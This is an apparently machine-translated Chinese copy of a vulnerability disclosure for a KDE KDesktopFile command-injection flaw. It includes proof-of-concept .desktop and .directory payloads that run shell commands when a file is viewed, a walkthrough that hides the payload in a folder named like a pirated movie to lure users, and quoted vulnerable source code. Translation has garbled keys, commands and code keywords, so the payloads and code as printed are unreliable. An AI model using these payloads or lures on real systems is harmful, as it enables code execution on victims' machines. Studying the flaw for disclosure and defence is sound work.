```
_ _
_______ _ __ ___ | | ___ | |
| _ / _ \'__ / _ \ | | / _ \ | |
/ / __ / | | (_)|| | (_)| |
/ ___ \ ___ | _ | \ ___(_)_ | \ ___ / | _ |
https://zero.lol
零天4天
标题:KDE 4/5 KDesktopFile命令注入
日期:2019年7月28日
作者:Dominik Penner / zer0pwn
供应商主页:https://kde.org/
软件链接:https://cgit.kde.org
版本:5.60.0及以下
描述:
KDE 4/5容易受到KDesktopFile类中的命令注入漏洞的攻击。当实例化.desktop或.directory文件时,它通过KConfigGroup :: readEntry()函数使用KConfigPrivate :: expandString()来不安全地评估环境变量和shell扩展。使用特制的.desktop文件,只需在文件管理器中下载和查看文件,或者将其链接拖放到文档或桌面中,就可能会影响远程用户。
手头的主要问题是KDE配置规范与XDG(freedesktop)规范不一致。尽管如此,KDE将其配置语法与XDG的配置语法混合在一起,允许动态配置条目(https://userbase.kde.org/KDE_System_Administration/Configuration_Files#Shell_Expansion)。
当我们将这个/ feature /与KDE处理.desktop和.directory文件的方式结合起来时,我们可以强制文件来评估[Desktop Entry]标签中的一些条目。此标记中的某些条目包括“Icon”,“Name”等。漏洞利用依赖于KConfigGroup :: readEntry()函数读取的条目。通常,每当KDE需要显示这些条目时,它们都会被调用。因此,例如,如果我们要浏览文件管理器(dolphin)中的恶意文件,则会调用Icon条目以显示图标。由于我们知道这一点,我们可以使用shell命令代替Icon条目,而该条目又会在查看文件时执行我们的命令。
从理论上讲,如果我们可以控制配置条目并触发它们的读取,我们就可以实现命令注入/ RCE。我想必须有更多方法来滥用它,但这是我迄今为止发现的最可靠的方法。
利用/ POC时:
1)payload.desktop
[桌面入口]
图标[$ E] = $(回声$ {IFS} 0>〜/桌面/ zero.lol&)
2)。目录
[桌面入口]
类型=目录
图标[$ E] = $(回声$ {IFS} 0>〜/桌面/ zero.lol&)
现在,只要在Dolphin或桌面上(或在浏览SMB共享w / smb4k时)查看文件,您的命令就会执行。命令处理器似乎不喜欢空格,所以只需使用$ IFS就可以了。对于.desktop有效负载,它就像让远程用户在其本地文件系统上查看该文件一样简单。.directory有效负载还有另一部分。.directory文件用于设置目录本身的配置条目。这意味着我们可以设置父目录的Icon,并在有人查看该文件夹时触发它。这需要嵌套目录。
例:
$ mkdir Hackers.1995.720p.BrRip.x264.YIFY
$ cd Hackers.1995.720p.BrRip.x264.YIFY
$ mkdir YIFY; cd YIFY
$ vi .directory
[桌面入口]
类型=目录
图标[$ E] = $(回声$ {IFS} 0>〜/桌面/ zer0.lol&)
现在每当有人打开“Hackers.1995.720p.BrRip.x264.YIFY”目录时,YIFY目录将尝试从.directory文件加载Icon,执行我们的命令。
代码:
---------------- kdesktopfile.cpp ------------------------------- ----------------------
182 QString KDesktopFile :: readIcon()const
183 {
184 Q_D(const KDesktopFile);
185 return d-> desktopGroup.readEntry(“Icon”,QString()); <---------------------
186}
-------------------------------------------------- -----------------------------------
----------------- kconfiggroup.cpp ------------------------------ ----------------------
679 QString KConfigGroup :: readEntry(const char * key,const QString&aDefault)const
680 {
681 Q_ASSERT_X(isValid(),“KConfigGroup :: readEntry”,“访问无效组”);
682
683 bool expand = false;
684
685 //从条目图中读取值
686 QString aValue = config() - > d_func() - > lookupData(d-> fullName(),key,KEntryMap :: SearchLocalized,
687&expand);
688 if(aValue.isNull()){
689 aValue = aDefault;
690}
691
692 if(expand){
693返回KConfigPrivate :: expandString(aValue); <-------------------------
694}
695
696返回aValue;
697}
-------------------------------------------------- -----------------------------------
----------------- kconfig.cpp ------------------------------ ---------------------------
178 QString KConfigPrivate :: expandString(const QString&value)
179 {
180 QString aValue = value;
181
182 //检查环境变量并进行必要的翻译
183 int nDollarPos = aValue.indexOf(QLatin1Char('$'));
184 while(nDollarPos!= -1 && nDollarPos + 1 <aValue.length()){
185 //至少有一个$
186 if(aValue [nDollarPos + 1] == QLatin1Char('(')){
187 int nEndPos = nDollarPos + 1;
188 //下一个字符不是$
189 while((nEndPos <= aValue.length())&&(aValue [nEndPos]!= QLatin1Char(')'))){
190 nEndPos ++;
191}
192 nEndPos ++;
193 QString cmd = aValue.mid(nDollarPos + 2,nEndPos - nDollarPos - 3);
194
195 QString结果;
196
197 // FIXME:wince没有管道
198 #ifndef _WIN32_WCE
199 FILE * fs = popen(QFile :: encodeName(cmd).data(),“r”); <-----------
200 if(fs){
201 QTextStream ts(fs,QIODevice :: ReadOnly);
202 result = ts.readAll()。trimmed();
203 pclose(fs);
204}
205 #endif
-------------------------------------------------- -----------------------------------
修复:
禁用[桌面条目]配置的shell扩展/动态条目。
```
暂无评论